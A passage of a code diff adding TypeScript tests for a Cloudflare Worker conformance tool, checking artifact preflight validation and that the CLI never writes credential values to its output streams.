+        await handle.truncate(DIRECT_MAX_UPLOAD_BYTES);
+      } finally {
+        await handle.close();
+      }
+    }
+    f.config.deployment.artifact.auxiliaryWasm = [
+      {
+        file: './fixture.wasm',
+        name: 'fixture.wasm',
+        sha256: kind === 'digest' ? '0'.repeat(64) : digest(binary),
+      },
+    ];
+    await f.save();
+    await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact Wasm/);
+  });
+
+  it('rejects an unrecorded Wasm dependency', async () => {
+    const f = await fixture(
+      REFERENCE,
+      `import binary from './fixture.wasm';\n${TENANT}`,
+    );
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      /tenant artifact module inspection/,
+    );
+  });
+
+  it('keeps reference and tenant Node dependency contracts separate', async () => {
+    const tenant = await fixture(
+      REFERENCE,
+      `import 'node:fs'; import 'stream/web';\n${TENANT}`,
+    );
+    await expect(prepare(tenant.configPath)).resolves.toBeDefined();
+    const reference = await fixture(`import 'node:fs';\n${REFERENCE}`, TENANT);
+    await expect(prepare(reference.configPath)).rejects.toThrow(
+      /reference artifact module inspection/,
+    );
+  });
+
+  it('leaves optional computed tenant imports to runtime acceptance while retaining the reference contract', async () => {
+    const optional =
+      "async function optionalDependency(){try{const name='optional-package';return await import(name)}catch{return null}}";
+    const tenant = await fixture(REFERENCE, `${TENANT}\n${optional}`);
+    await expect(prepare(tenant.configPath)).resolves.toBeDefined();
+    const reference = await fixture(`${REFERENCE}\n${optional}`, TENANT);
+    await expect(prepare(reference.configPath)).rejects.toThrow(
+      /reference artifact module inspection/,
+    );
+  });
+
+  it('accepts symlinked regular input files and config-relative paths with spaces', async () => {
+    const f = await fixture();
+    const link = join(f.directory, 'config link.json');
+    await symlink(f.configPath, link);
+    await symlink(f.tenantPath, join(f.directory, 'tenant link.mjs'));
+    f.config.deployment.artifact.bundle = './tenant link.mjs';
+    await f.save();
+    expect((await prepare(link)).manifest.tenantModule.source).toBe(TENANT);
+  });
+
+  it('never evaluates artifact code or inherits Node preload options for its syntax check', async () => {
+    const network = vi
+      .spyOn(globalThis, 'fetch')
+      .mockRejectedValue(new Error('unexpected network'));
+    const f = await fixture(
+      `${REFERENCE}\nthrow new Error('artifact evaluated');`,
+      `${TENANT}\nthrow new Error('artifact evaluated');`,
+    );
+    vi.stubEnv(
+      'NODE_OPTIONS',
+      '--require /nonexistent-direct-preflight-preload.cjs',
+    );
+    await expect(prepare(f.configPath)).resolves.toMatchObject({
+      manifest: { fixtureVersion: 1 },
+    });
+    expect(network).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    'referenceWorker',
+    'deployment',
+  ])('rejects a mismatched %s digest', async (role) => {
+    const f = await fixture();
+    f.config[role].artifact.sha256 = 'f'.repeat(64);
+    await f.save();
+    await expect(prepare(f.configPath)).rejects.toThrow(/artifact digest/);
+  });
+
+  it.each([
+    'missing',
+    'directory',
+    'empty',
+    'oversized',
+    'invalid-utf8',
+  ])('rejects %s artifact input', async (kind) => {
+    const f = await fixture();
+    if (kind === 'missing') await rm(f.tenantPath);
+    if (kind === 'directory') {
+      await rm(f.tenantPath);
+      await mkdir(f.tenantPath);
+    }
+    if (kind === 'empty') await writeFile(f.tenantPath, '');
+    if (kind === 'oversized') {
+      const handle = await open(f.tenantPath, 'w');
+      try {
+        await handle.truncate(DIRECT_MAX_UPLOAD_BYTES + 1);
+      } finally {
+        await handle.close();
+      }
+    }
+    if (kind === 'invalid-utf8') {
+      const bytes = Buffer.from([0xc3, 0x28]);
+      await writeFile(f.tenantPath, bytes);
+      f.config.deployment.artifact.sha256 = digest(bytes);
+      await f.save();
+    }
+    await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact/);
+    if (kind === 'invalid-utf8')
+      // The decoder's own wording is replaced, not appended: a `toThrow`
+      // substring match on the relabel would pass either way.
+      await expect(prepare(f.configPath)).rejects.not.toThrow(
+        /encoding|encoded data|TextDecoder/iu,
+      );
+  });
+
+  it('rejects a FIFO without waiting for a writer', async () => {
+    const f = await fixture();
+    await rm(f.tenantPath);
+    execFileSync('mkfifo', [f.tenantPath]);
+    await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact file/);
+  });
+
+  it.each([
+    'oversized',
+    'invalid-utf8',
+    'invalid-json',
+    'invalid-schema',
+  ])('rejects %s config before reading artifacts', async (kind) => {
+    const f = await fixture();
+    await rm(f.referencePath);
+    if (kind === 'oversized')
+      await writeFile(f.configPath, ' '.repeat(256 * 1024 + 1));
+    if (kind === 'invalid-utf8')
+      await writeFile(f.configPath, Buffer.from([0xc3, 0x28]));
+    if (kind === 'invalid-json')
+      await writeFile(f.configPath, '{"secret-sentinel"');
+    if (kind === 'invalid-schema')
+      await writeFile(f.configPath, '{"secret-sentinel":true}');
+    await expect(prepare(f.configPath)).rejects.toThrow(/config/);
+    await expect(prepare(f.configPath)).rejects.not.toThrow(
+      /secret-sentinel|reference artifact/,
+    );
+  });
+
+  it.each([
+    'export default {',
+    'const value: number = 1; export default value;',
+    'export default {}; export default {};',
+  ])('rejects invalid JavaScript without leaking diagnostics', async (source) => {
+    const f = await fixture(`${source}\n// secret-sentinel`);
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      /reference artifact JavaScript/,
+    );
+    await expect(prepare(f.configPath)).rejects.not.toThrow(/secret-sentinel/);
+  });
+
+  it.each([
+    'export default {};',
+    `${REFERENCE}\nexport const extra = 1;`,
+    `import './direct-run-manifest.js'; export default {};`,
+    `import * as manifest from './direct-run-manifest.js'; export default {};`,
+    `${REFERENCE}\nimport second from './direct-run-manifest.js';`,
+    `${REFERENCE}\nimport './missing.js';`,
+    `${REFERENCE}\nexport {value} from './missing.js';`,
+    `${REFERENCE}\nimport 'node:fs';`,
+    `${REFERENCE}\nconst path='./missing.js'; import(path);`,
+    `${REFERENCE}\nimport('./direct-run-manifest.js');`,
+  ])('rejects an incompatible reference module contract', async (source) => {
+    const f = await fixture(source);
+    await expect(prepare(f.configPath)).rejects.toThrow(/reference artifact/);
+  });
+
+  it.each([
+    'export default {};',
+    TENANT.replace('export class Runner', 'class Runner'),
+    `${TENANT}\nimport './direct-run-manifest.js';`,
+    `${TENANT}\nimport 'undeclared-package';`,
+  ])('rejects an incompatible tenant module contract', async (source) => {
+    const f = await fixture(REFERENCE, source);
+    await expect(prepare(f.configPath)).rejects.toThrow(/tenant artifact/);
+  });
+
+  it('accepts named export aliases and the fixed emitted external modules', async () => {
+    const f = await fixture(
+      `import manifest from './direct-run-manifest.js'; import 'node:crypto'; const entry={fetch(){}}; export {entry as default};`,
+      `import 'cloudflare:workers'; import 'node:async_hooks'; class A {} class B {} const entry={}; export {A as Maintenance, B as Runner, entry as default};`,
+    );
+    await expect(prepare(f.configPath)).resolves.toMatchObject({
+      manifest: { fixtureVersion: 1 },
+    });
+  });
+
+  it('checks generated manifest expansion against the combined upload ceiling', async () => {
+    const f = await fixture(
+      REFERENCE,
+      `${TENANT}\n/*${'\\'.repeat(33 * 1024 * 1024)}*/`,
+    );
+    await expect(prepare(f.configPath)).rejects.toThrow(
+      /reference upload size/,
+    );
+  }, 30_000);
+});
diff --git a/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts
new file mode 100644
index 00000000..f577556e
--- /dev/null
+++ b/packages/fleet-control/test/direct-credentialed-conformance-runtime.test.ts
@@ -0,0 +1,1939 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { spawn } from 'node:child_process';
+import { existsSync } from 'node:fs';
+import { mkdir, readFile, writeFile } from 'node:fs/promises';
+import { join } from 'node:path';
+import { fileURLToPath } from 'node:url';
+import { runInNewContext } from 'node:vm';
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { DirectBootstrapError } from '../scripts/direct-credentialed-bootstrap.mjs';
+import * as directRuntime from '../scripts/direct-credentialed-conformance-runtime.mjs';
+import {
+  DIRECT_ADMISSION_VARIABLES,
+  DIRECT_CONFORMANCE_USAGE,
+  DIRECT_CREDENTIAL_VARIABLES,
+  DIRECT_FIXED_OUTPUT,
+  DIRECT_INTERNAL_ERROR_DIAGNOSTIC,
+  DIRECT_OUTPUT_PREFIX,
+  DIRECT_USAGE_DIAGNOSTIC,
+  type DirectConformanceMode,
+  type DirectConformanceModules,
+  directStdoutOf,
+  directWritesStderr,
+  parseDirectConformanceArgs,
+  resolveDirectExitCode,
+  runDirectConformance,
+} from '../scripts/direct-credentialed-conformance-runtime.mjs';
+import {
+  DIRECT_EVIDENCE_KEYS,
+  DirectEvidenceWriteError,
+} from '../scripts/direct-credentialed-evidence.mjs';
+import type { DirectInvocationClient } from '../scripts/direct-credentialed-invocation.mjs';
+import { validateProviderAuth } from '../scripts/direct-credentialed-provider.mjs';
+import {
+  DIRECT_RUN_MAX_RESUME_COUNT,
+  type DirectRunSnapshot,
+  DirectRunStateError,
+  type DirectTeardownFailure,
+} from '../scripts/direct-credentialed-run-state.mjs';
+import {
+  cleanupDirectRunState,
+  closed,
+  completeScenario,
+  fixture,
+  maximalTeardown,
+  opened,
+  teardownState,
+} from './fixtures/direct-run-state-builder.js';
+
+const probes = vi.hoisted(() => ({ sdk: vi.fn() }));
+vi.mock('cloudflare', async (importOriginal) => {
+  const actual = await importOriginal<typeof import('cloudflare')>();
+  return {
+    ...actual,
+    default: class extends actual.default {
+      constructor(options: ConstructorParameters<typeof actual.default>[0]) {
+        probes.sdk(options);
+        super(options);
+      }
+    },
+  };
+});
+const env = {
+  PATH: process.env.PATH,
+  CLOUDFLARE_ACCOUNT_ID: 'account',
+  CLOUDFLARE_API_TOKEN: 'private-api-seed',
+  FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: 'private-invoke-seed',
+};
+const now = () => Date.parse('2026-09-13T00:00:00.000Z');
+/** The bytes the entry writes to each descriptor for an in-process result. */
+function streamsOf(result: Awaited<ReturnType<typeof runDirectConformance>>) {
+  return {
+    stdout: directStdoutOf(result),
+    stderr: directWritesStderr(result) ? (result.stderrLine ?? '') : '',
+  };
+}
+function expectCredentialSafeOutput(
+  result:
+    | Awaited<ReturnType<typeof runDirectConformance>>
+    | { code: number | null; stdout: string; stderr: string },
+  credentials: Readonly<Record<string, string | undefined>> = env,
+) {
+  if ('stdoutLine' in result) {
+    // Total rendering: only a stderr-only refusal withholds the stdout summary,
+    // so a result that would print nothing at all fails here.
+    expect(result.stdoutLine === null).toBe(result.stderrOnly === true);
+    if (result.stdoutLine !== null) {
+      expect(result.stdoutLine.startsWith(DIRECT_OUTPUT_PREFIX)).toBe(true);
+      expect(result.stdoutLine.endsWith('\n')).toBe(true);
+      expect(Buffer.byteLength(result.stdoutLine)).toBeLessThanOrEqual(4096);
+      expect(result.stdoutLine).toBe(
+        `${DIRECT_OUTPUT_PREFIX}${result.stderrLine}`,
+      );
+      expect(
+        JSON.parse(result.stdoutLine.slice(DIRECT_OUTPUT_PREFIX.length)),
+      ).toEqual(result.summary);
+    }
+    if (result.stderrOnly) {
+      expect(result.exitCode).toBe(2);
+      if (result.stderrLine !== null)
+        expect(DIRECT_FIXED_OUTPUT).toContain(result.stderrLine);
+    }
+  }
+  // One discriminant for the whole helper, and one check per descriptor.
+  const { stdout, stderr } =
+    'stdoutLine' in result ? streamsOf(result) : result;
+  for (const variable of DIRECT_CREDENTIAL_VARIABLES) {
+    const credential = credentials[variable];
+    if (typeof credential !== 'string' || credential.length === 0) continue;
+    // Either descriptor order, because a reader interleaves two pipes.
+    expect((stdout + stderr).includes(credential)).toBe(false);
+    expect((stderr + stdout).includes(credential)).toBe(false);
+  }
+  return { stdout, stderr };
+}
+afterEach(async () => {
+  expect(probes.sdk).not.toHaveBeenCalled();
+  vi.clearAllMocks();
+  await cleanupDirectRunState();
+});
+const NO_RETAINED_IDENTITIES = {
+  fleetUuid: null,
+  quotaUuid: null,
+  exportBucket: null,
+  scriptName: null,
+  activeVersionId: null,
+};
+/**
+ * The invalid-input diagnostic for `variable`, in one place rather than per
+ * test. `freezes complete fixed output lines from the emitted constants` checks
+ * it against the CLI's own list for every admission variable.
+ */
+function invalidInputLine(variable: string) {
+  return `${JSON.stringify({ code: 'invalid-input', variable })}\n`;
+}
+/** Reads the credentials the real runtime reads, so the entry's guard is armed. */
+function armGuard(input: { env: Record<string, string | undefined> }) {
+  for (const variable of DIRECT_CREDENTIAL_VARIABLES) void input.env[variable];
+}
+
+async function world(fleetUuid?: string) {
+  const f = await fixture(1000);
+  const actual = await opened({ ...f.input, mode: 'run' });
+  let snapshot: DirectRunSnapshot = actual.snapshot();
+  if (fleetUuid !== undefined)
+    snapshot = {
+      ...snapshot,
+      bootstrap: {
+        context: {
+          names: f.prepared.names,
+          zoneId: 'zone',
+          zoneName: 'example.test',
+          accountWorkersDevSubdomain: 'attested-account',
+          dispatch: { kind: 'empty', count: 0 },
+        },
+        fleet: { uuid: fleetUuid, name: f.prepared.names.fleetDatabase },
+        quota: null,
+        exports: null,
+        upload: null,
+        active: null,
+        ingress: null,
+        controlReadOrdinal: null,
+        pending: null,
+      },
+    };
+  const journal = {
+    ...actual,
+    snapshot: () => snapshot,
+    recordResume: vi.fn(async () => {
+      snapshot = {
+        ...snapshot,
+        resumeCount: Math.min(
+          DIRECT_RUN_MAX_RESUME_COUNT,
+          (snapshot.resumeCount ?? 0) + 1,
+        ),
+      };
+    }),
+    close: vi.fn(() => closed(actual)),
+  };
+  const modules = {
+    preflight: vi.fn(async () => f.prepared),
+    openRunState: vi.fn(async () => journal),
+    inspectRunState: vi.fn(async () => ({
+      directory: actual.directory,
+      snapshot,
+      close: journal.close,
+    })),
+    bootstrap: vi.fn<DirectConformanceModules['bootstrap']>(
+      async () => ({}) as DirectInvocationClient,
+    ),
+    scenario: vi.fn<DirectConformanceModules['scenario']>(async () => ({
+      status: 'restart-required',
+    })),
+    teardown: vi.fn<DirectConformanceModules['teardown']>(async () => ({
+      status: 'cleaned',
+      facts: {
+        retainedIdentities: NO_RETAINED_IDENTITIES,
+        receipts: maximalTeardown().receipts,
+        residual: null,
+        providerRequests: 7,
+        failure: null,
+      },
+    })),
+    distPresent: vi.fn(() => true),
+  };
+  const set = (fields: Partial<DirectRunSnapshot>) => {
+    snapshot = { ...snapshot, ...fields };
+  };
+  const run = async (mode: DirectConformanceMode = 'resume') => {
+    const result = await runDirectConformance({
+      mode,
+      configPath: f.configPath,
+      env,
+      modules,
+      now,
+      git: () => 'a'.repeat(40),
+    });
+    expectCredentialSafeOutput(result);
+    return result;
+  };
+  return { f, journal, modules, set, run, snapshot: () => snapshot };
+}
+
+function retained(
+  w: Awaited<ReturnType<typeof world>>,
+  publish: boolean,
+  reason: DirectTeardownFailure = 'invalid-state',
+) {
+  w.modules.teardown.mockImplementation(async () => {
+    if (publish)
+      w.set({
+        teardown: {
+          ...teardownState(),
+          phase: 'refused',
+          failure: 'scenario-incomplete',
+        },
+      });
+    return {
+      status: 'retained',
+      reason,
+      phase: 'refused',
+      facts: {
+        retainedIdentities: NO_RETAINED_IDENTITIES,
+        receipts: teardownState().receipts,
+        residual: null,
+        providerRequests: 9,
+        failure: 'invalid-state',
+      },
+    };
+  });
+}
+
+const entry = fileURLToPath(
+  new URL('../scripts/direct-credentialed-conformance.mjs', import.meta.url),
+);
+/**
+ * One run directory holding one `--import` module, for the spawned entry tests.
+ * A module that writes back into the directory receives it.
+ */
+async function preloaded(source: string | ((directory: string) => string)) {
+  const f = await fixture();
+  const preload = join(f.directory, 'preload.mjs');
+  await writeFile(
+    preload,
+    typeof source === 'string' ? source : source(f.directory),
+  );
+  return { f, preload };
+}
+async function child(
+  command: string,
+  args: string[],
+  cwd?: string,
+  extraEnv: Record<string, string | undefined> = {},
+  readCredentials = extraEnv,
+) {
+  const spawned = spawn(command, args, {
+    cwd,
+    env: { PATH: process.env.PATH, ...extraEnv },
+    stdio: ['ignore', 'pipe', 'pipe'],
+  });
+  let stdout = '';
+  let stderr = '';
+  spawned.stdout.setEncoding('utf8');
+  spawned.stderr.setEncoding('utf8');
+  spawned.stdout.on('data', (chunk) => {
+    stdout += chunk;
+  });
+  spawned.stderr.on('data', (chunk) => {
+    stderr += chunk;
+  });
+  const code = await new Promise<number | null>((resolve, reject) => {
+    spawned.once('error', reject);
+    spawned.once('close', resolve);
+  });
+  const result = { code, stdout, stderr };
+  expectCredentialSafeOutput(result, readCredentials);
+  return result;
+}
+
+async function entryWithRuntime(
+  run: typeof runDirectConformance,
+  credentials: Record<string, string | undefined>,
+  reenterStderr = false,
+) {
+  const result = { code: null as number | null, stdout: '', stderr: '' };
+  const handlers = new Map<string, () => void>();
+  const source = await readFile(entry, 'utf8');
+  // The harness evaluates the entry with its imports supplied as context. A
+  // strip that stopped matching would evaluate a different program, so the
+  // removal is checked rather than assumed, and the names come from the real
+  // module namespace so they cannot drift from the entry's import list.
+  const stripped = source.replace(/^import \{[\s\S]*?\} from '[^']+';\n/m, '');
+  expect(stripped).not.toBe(source);
+  expect(stripped).not.toMatch(/^\s*import\b/mu);
+  runInNewContext(stripped, {
+    ...directRuntime,
+    runDirectConformance: run,
+    process: {
+      argv: ['node', entry, '--run'],
+      env: credentials,
+      set exitCode(code: number) {
+        result.code = code;
+      },
+      on: (event: string, handler: () => void) => handlers.set(event, handler),
+      stdout: {
+        write: (line: string) => {
+          result.stdout += line;
+        },
+      },
+      stderr: {
+        write: (line: string) => {
+          result.stderr += line;
+          if (reenterStderr) {
+            reenterStderr = false;
+            handlers.get('unhandledRejection')?.();
+          }
+        },
+      },
+    },
+  });
+  await vi.waitFor(() => expect(result.code).not.toBeNull());
+  expectCredentialSafeOutput(result, credentials);
+  return result;
+}
+
+describe.sequential('direct CLI runtime', () => {
+  it('freezes complete fixed output lines from the emitted constants', () => {
+    expect(Object.isFrozen(DIRECT_FIXED_OUTPUT)).toBe(true);
+    expect(DIRECT_FIXED_OUTPUT).toEqual([
+      'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":false}\n',
+      '{"code":"evidence-failed","evidenceWritten":false}\n',
+      'DIRECT_CONFORMANCE {"code":"evidence-failed","evidenceWritten":true}\n',
+      '{"code":"evidence-failed","evidenceWritten":true}\n',
+      '{"code":"usage"}\n',
+      '{"code":"internal-error"}\n',
+      '{"code":"invalid-input","variable":"CLOUDFLARE_ACCOUNT_ID"}\n',
+      '{"code":"invalid-input","variable":"CLOUDFLARE_API_TOKEN"}\n',
+      '{"code":"invalid-input","variable":"FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET"}\n',
+    ]);
+    expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_USAGE_DIAGNOSTIC);
+    expect(DIRECT_FIXED_OUTPUT).toContain(DIRECT_INTERNAL_ERROR_DIAGNOSTIC);
+    // Membership derived from the emitted constants rather than copied: every
+    // admission variable contributes its diagnostic, and nothing else does.
+    for (const variable of DIRECT_ADMISSION_VARIABLES)
+      expect(DIRECT_FIXED_OUTPUT).toContain(invalidInputLine(variable));
+    expect(
+      DIRECT_FIXED_OUTPUT.filter((line) => line.includes('invalid-input')),
+    ).toEqual(DIRECT_ADMISSION_VARIABLES.map(invalidInputLine));
+  });
+
+  it.each([
+    'DIRECT_CONFORMANCE',
+    'code',
+    'false',
+    'enc',
+    'evidence-failed',
+    'evidenceWritten',
+    'true',
+    'usage',
+    'internal-error',
+    'E {"',
+    'invalid-input',
+    'variable',
+  ])('refuses a fixed-output credential with a safe fixed diagnostic or silence (%s)', async (secret) => {
+    const f = await fixture(680);
+    // The refusal under test is the fixed-output collision, not the guard
+    // beside it: every table value is a token this row's sibling admits.
+    expect(() => validateProviderAuth(secret)).not.toThrow();
+    expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe(
+      true,
+    );
+    for (const variable of DIRECT_CREDENTIAL_VARIABLES) {
+      const credentials = { ...env, [variable]: secret };
+      const distPresent = vi.fn(() => false);
+      const openRunState = vi.fn();
+      const diagnostic = invalidInputLine(variable);
+      const stderrLine = diagnostic.includes(secret) ? null : diagnostic;
+      const result = await runDirectConformance({
+        mode: 'run',
+        configPath: f.configPath,
+        env: credentials,
+        now,
+        modules: { distPresent, openRunState },
+      });
+      expect(result).toEqual({
+        exitCode: 2,
+        summary: { code: 'invalid-input', variable },
+        evidencePath: null,
+        stdoutLine: null,
+        stderrLine,
+        stderrOnly: true,
+      });
+      expectCredentialSafeOutput(result, credentials);
+      expect(distPresent).not.toHaveBeenCalled();
+      expect(openRunState).not.toHaveBeenCalled();
+      expect(probes.sdk).not.toHaveBeenCalled();
+      expect(existsSync(f.base)).toBe(false);
+      const spawned = await child(
+        process.execPath,
+        [entry, '--run'],
+        undefined,
+        {
+          CLOUDFLARE_ACCOUNT_ID: credentials.CLOUDFLARE_ACCOUNT_ID,
+          CLOUDFLARE_API_TOKEN: credentials.CLOUDFLARE_API_TOKEN,
+          FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET:
+            credentials.FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET,
+          FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+        },
+      );
+      expect(spawned.code).toBe(2);
+      expect(spawned.stdout).toBe('');
+      expect(spawned.stderr).toBe(stderrLine ?? '');
+      expect(existsSync(f.base)).toBe(false);
+    }
+  });
+
+  it('admits an account ID contained in the fixed output vocabulary', async () => {
+    const f = await fixture(1000);
+    const distPresent = vi.fn(() => false);
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: f.configPath,
+      env: { ...env, CLOUDFLARE_ACCOUNT_ID: 'code' },
+      now,
+      modules: { distPresent },
+    });
+    expect(result.summary).toEqual({
+      code: 'dist-missing',
+      command: 'pnpm build',
+    });
+    expectCredentialSafeOutput(result);
+    expect(distPresent).toHaveBeenCalledOnce();
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    'invalid-input',
+    'variable',
+    'code',
+  ])('silently refuses a protocol-word token with another invalid environment value (%s)', async (secret) => {
+    const f = await fixture(680);
+    const credentials = {
+      ...env,
+      CLOUDFLARE_ACCOUNT_ID: secret === 'code' ? '' : env.CLOUDFLARE_ACCOUNT_ID,
+      CLOUDFLARE_API_TOKEN: secret,
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: '',
+    };
+    const distPresent = vi.fn();
+    const result = await runDirectConformance({
+      mode: 'run',
+      configPath: f.configPath,
+      env: credentials,
+      now,
+      modules: { distPresent },
+    });
+    expectCredentialSafeOutput(result, credentials);
+    expect(result).toMatchObject({
+      exitCode: 2,
+      stdoutLine: null,
+      stderrLine: null,
+      stderrOnly: true,
+    });
+    expect(distPresent).not.toHaveBeenCalled();
+    const spawned = await child(process.execPath, [entry, '--run'], undefined, {
+      CLOUDFLARE_ACCOUNT_ID: credentials.CLOUDFLARE_ACCOUNT_ID,
+      CLOUDFLARE_API_TOKEN: secret,
+      FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET: '',
+      FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+    });
+    expect(spawned).toEqual({
+      code: 2,
+      stdout: '',
+      stderr: '',
+    });
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('prints fixed diagnostics for invalid argv despite colliding %s', async (variable) => {
+    const usage = await child(
+      process.execPath,
+      [entry, '--bad'],
+      undefined,
+      { [variable]: 'usage' },
+      {},
+    );
+    expect(usage).toEqual({
+      code: 2,
+      stdout: '',
+      stderr: DIRECT_USAGE_DIAGNOSTIC,
+    });
+    const { preload } = await preloaded(
+      `setTimeout(() => { throw new Error('secret-stack'); }, 0);\n`,
+    );
+    const failure = await child(
+      process.execPath,
+      ['--import', preload, entry, '--bad'],
+      undefined,
+      { [variable]: 'code' },
+      {},
+    );
+    expect(failure).toEqual({
+      code: 1,
+      stdout: '',
+      stderr: DIRECT_USAGE_DIAGNOSTIC + DIRECT_INTERNAL_ERROR_DIAGNOSTIC,
+    });
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ] as const)('drops a later rejection diagnostic when %s spans consecutive stderr lines', async (variable) => {
+    const { f, preload } = await preloaded(
+      `const write = process.stderr.write.bind(process.stderr);
+process.stderr.write = (...args) => {
+  const result = write(...args);
+  if (args[0].includes('invalid-input'))
+    setTimeout(() => { Promise.reject(new Error('secret-stack')); }, 0);
+  return result;
+};\n`,
+    );
+    const credentials = {
+      ...env,
+      [variable]: '}\n{',
+      FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath,
+    };
+    const result = await child(
+      process.execPath,
+      ['--import', preload, entry, '--run'],
+      undefined,
+      credentials,
+    );
+    const refusal = invalidInputLine(variable);
+    expect(refusal).not.toContain(credentials[variable]);
+    expect(DIRECT_INTERNAL_ERROR_DIAGNOSTIC).not.toContain(
+      credentials[variable],
+    );
+    expect(refusal + DIRECT_INTERNAL_ERROR_DIAGNOSTIC).toContain(
+      credentials[variable],
+    );
+    expect(result).toEqual({
+      code: 1,
+      stdout: '',
+      stderr: refusal,
+    });
+    expect(existsSync(f.base)).toBe(false);
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('drops the stderr copy when %s spans stdout and stderr', async (variable) => {
+    const summary = invalidInputLine('FLEET_DIRECT_CONFORMANCE_CONFIG');
+    const stdout = `${DIRECT_OUTPUT_PREFIX}${summary}`;
+    const secret = 'CONFIG"}\n{"code"';
+    expect(stdout).not.toContain(secret);
+    expect(summary).not.toContain(secret);
+    expect(stdout + summary).toContain(secret);
+    const result = await entryWithRuntime(
+      async (input) => {
+        armGuard(input);
+        return {
+          exitCode: 2,
+          summary: JSON.parse(summary),
+          evidencePath: null,
+          stdoutLine: stdout,
+          stderrLine: summary,
+        };
+      },
+      { ...env, [variable]: secret },
+    );
+    expect(result).toEqual({ code: 2, stdout, stderr: '' });
+  });
+
+  it.each([
+    'CLOUDFLARE_API_TOKEN',
+    'FLEET_DIRECT_CONFORMANCE_INVOKE_SECRET',
+  ])('exits 5 when the entry suppresses a dynamic summary containing %s', async (variable) => {
+    const secret = 'fleet-dynamic-worker';
+    expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe(
+      false,
+    );
+    const summary = { names: { worker: secret } };
+    const stderrLine = `${JSON.stringify(summary)}\n`;
+    let observedMode: unknown;
+    const result = await entryWithRuntime(
+      async (input) => {
+        observedMode = input.mode;
+        armGuard(input);
+        return {
+          exitCode: 0,
+          summary,
+          evidencePath: null,
+          stdoutLine: `${DIRECT_OUTPUT_PREFIX}${stderrLine}`,
+          stderrLine,
+        };
+      },
+      { ...env, [variable]: secret },
+    );
+    expect(observedMode).toBe('run');
+    expect(result).toEqual({ code: 5, stdout: '', stderr: '' });
+  });
+
+  it.each(
+    DIRECT_CREDENTIAL_VARIABLES,
+  )('drops the stderr copy when %s spans stderr before stdout', async (variable) => {
+    const stderrLine = '{"a":"Y"}\n';
+    const stdoutLine = `${DIRECT_OUTPUT_PREFIX}{"a":"X"}\n`;
+    const secret = 'Y"}\nDIRECT';
+    // The credential spans only the reverse boundary: a reader that takes
+    // stderr before stdout sees it, the writer's own order never does.
+    expect(stdoutLine + stderrLine).not.toContain(secret);
+    expect(stderrLine + stdoutLine).toContain(secret);
+    const result = await entryWithRuntime(
+      async (input) => {
+        armGuard(input);
+        return {
+          exitCode: 1,
+          summary: JSON.parse(stderrLine),
+          evidencePath: null,
+          stdoutLine,
+          stderrLine,
+        };
+      },
+      { ...env, [variable]: secret },
+    );
+    expect(result).toEqual({ code: 1, stdout: stdoutLine, stderr: '' });
+  });
+
+  it.each([
+    // A key name the projection writes, and the index an array element carries.
+    'retainedIdentities',
+    '1',
+  ])('refuses the evidence artifact key %s as a credential before the run starts', async (secret) => {
+    expect(DIRECT_FIXED_OUTPUT.some((line) => line.includes(secret))).toBe(
+      false,
+    );
+    expect(() => validateProviderAuth(secret)).not.toThrow();
+    for (const variable of DIRECT_CREDENTIAL_VARIABLES) {
+      const f = await fixture(1000);
+      const openRunState = vi.fn();
+      const result = await runDirectConformance({
+        mode: 'run',
+        configPath: f.configPath,
+        env: { ...env, [variable]: secret },
+        now,
+        modules: { openRunState, preflight: async () => f.prepared },
+      });
+      expect(result).toMatchObject({
+        exitCode: 2,
+        summary: { code: 'invalid-input', variable },
+        stderrLine: invalidInputLine(variable),
+        stderrOnly: true,
+      });
+      expectCredentialSafeOutput(result, { ...env, [variable]: secret });
+      expect(openRunState).not.toHaveBeenCalled();
+      expect(existsSync(f.base)).toBe(false);
+    }
+  });
+
+  it('admits only word, dot and dash characters in the evidence key vocabulary', () => {
+    expect(DIRECT_EVIDENCE_KEYS.every((key) => /^[\w.-]+$/u.test(key))).toBe(
+      true,
+    );
+  });
+
+  it('reserves transcript bytes before a synchronous diagnostic re-enters the guard', async () => {
+    const stderrLine = invalidInputLine('CLOUDFLARE_API_TOKEN');
+    const result = await entryWithRuntime(
+      async (input) => {
+        armGuard(input);
+        return {
+          exitCode: 2,
+          summary: JSON.parse(stderrLine),
+          evidencePath: null,
+          stdoutLine: null,
+          stderrLine,
+          stderrOnly: true,
+        };
+      },
+      { ...env, CLOUDFLARE_API_TOKEN: '}\n{' },
+      true,
+    );
+    expect(result).toEqual({
+      code: 1,
+      stdout: '',
+      stderr: stderrLine,
+    });
+  });
+
+  it('captures each live credential once after local preflight', async () => {
+    const f = await fixture();
+    const reads: string[] = [];
+    const credentials = new Proxy(
+      { ...env, FLEET_DIRECT_CONFORMANCE_CONFIG: f.configPath },
+      {
+        get(target, key) {
